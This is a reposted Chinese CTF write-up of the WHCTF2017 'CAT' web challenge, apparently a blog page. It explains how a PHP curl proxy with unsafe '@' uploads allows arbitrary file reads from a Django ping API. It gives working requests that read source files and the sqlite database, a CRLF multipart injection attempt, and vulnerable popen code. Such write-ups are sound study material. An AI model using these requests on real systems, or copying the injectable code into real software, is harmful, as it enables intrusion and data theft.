WHCTF2017_WEB_Writeup

本文详细解析了一个Web应用中Ping API的安全漏洞,通过分析其前后端交互机制,揭示了如何利用文件上传功能获取敏感信息,包括源代码和数据库内容。文章深入探讨了PHP与Django框架下文件上传与请求处理的细节,以及如何绕过正则表达式限制实现远程代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

cat

很棒的一个题目,前台是一个php,然后输入域名是会返回ping命令的结果,但是域名限制的很死,经过fuzz的时候发现出现报错,里面有一个django写了一个ping的api

http://120.55.42.243:20010/index.php?url=%dfloli.club

/opt/api/dnsapi/views.py in wrapper
        # 合并 requests.FILES 和 requests.POST
        for k, v in request.FILES.items():
            if isinstance(v, InMemoryUploadedFile):
                v = v.read()
            request.FILES[k] = v
        request.POST.update(request.FILES)
        return f(*args, **kwargs) ...
    return wrapper
@process_request
def ping(request):

/opt/api/dnsapi/views.py in ping
    return wrapper
@process_request
def ping(request):
    # 转义
    data = request.POST.get('url')
    data = escape(data) ...
    if not re.match('^[a-zA-Z0-9\-\./]+$', data):
        return HttpResponse("Invalid URL")
    return HttpResponse(os.popen("ping -c 1 \"%s\"" % data).read())

/opt/api/dnsapi/utils.py in escape
    r = ''
    for i in range(len(data)):
        c = data[i]
        if c in ('\\', '\'', '"', '$', '`'):
            r = r + '\\' + c
        else:
            r = r + c
    return r.encode('gbk') ...

这里有点日偏了,因为一直想着就是过正则,然后rce,但是还奇怪着,POST和FILES合并是什么操作?认为php那边也仅仅只是一个转发而已,对于是如何转发的没有一个意识。

当然后面有tip,RTFM of PHP CURL

curl是通过@符号进行文件上传的

所以访问http://120.55.42.243:20010/index.php?url=@index.php

804631-20170919224207665-1710633849.jpg

自己曾经是想伪造一下FILES

url=%0d%0a------WebKitFormBoundaryBxGh7XVXIj8dYO0u%0d%0aContent-Disposition:%20form-data;%20name="url";%20filename="zhengchang.jpg"%0d%0aContent-Type:%20image/jpeg%0d%0a%0d%0aaaa%0d%0a------WebKitFormBoundaryBxGh7XVXIj8dYO0u--%0d%0a

但是好像是没法给转的。

以上就可以得到index.php的源码

<!DOCTYPE html><head><title>CAT</title></head><body><h1>Cloud Automated Testing</h1><img src=1.gif><p>\xe8\xbe\x93\xe5\x85\xa5\xe4\xbd\xa0\xe7\x9a\x84\xe5\x9f\x9f\xe5\x90\x8d\xef\xbc\x8c\xe4\xbe\x8b\xe5\xa6\x82\xef\xbc\x9aloli.club</p><form action="index.php" method="GET">    <input name="url" type="text">    <button>Submit</button></form><pre><code>
<?php
# \xe8\xb0\x83\xe7\x94\xa8\xe5\x90\x8e\xe7\xab\xaf API
if (isset($_GET['url'])) {    
  $ch = curl_init("http://127.0.0.1:8000/api/ping");
  $params = array("url"=>"$_GET[url]");    
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_SAFE_UPLOAD, false);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $data = curl_exec($ch);
  curl_close($ch);
  echo htmlspecialchars($data);}
?>
</code></pre></body>

读取view.py

#coding: utf-8
import os, re
import functools
from django.core.files.uploadedfile import InMemoryUploadedFile
from django.http import HttpResponse
from .utils import escape


def process_request(f):
    @functools.wraps(f)
    def wrapper(*args, **kwargs):
        request = args[0]

        # \xe5\x90\x88\xe5\xb9\xb6 requests.FILES \xe5\x92\x8c requests.POST
        for k, v in request.FILES.items():
            if isinstance(v, InMemoryUploadedFile):
                v = v.read()
            request.FILES[k] = v

        request.POST.update(request.FILES)
        return f(*args, **kwargs)

    return wrapper


@process_request
def ping(request):
    # \xe8\xbd\xac\xe4\xb9\x89
    data = request.POST.get(\'url\')
    data = escape(data)
    if not re.match(\'^[a-zA-Z0-9\\-\\./]+$\', data):
        return HttpResponse("Invalid URL")

    return HttpResponse(os.popen("ping -c 1 \\"%s\\"" % data).read())

最后就是读取数据库可以拿到flag

http://120.55.42.243:20010/index.php?url=@/opt/api/database.sqlite3

emmm

感觉rr师傅,写的自己都不知道要记录啥了,膜就是了
针对xdebug的一些攻击。

https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface

转载于:https://www.cnblogs.com/iamstudy/articles/whctf_2017_web_writeup.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值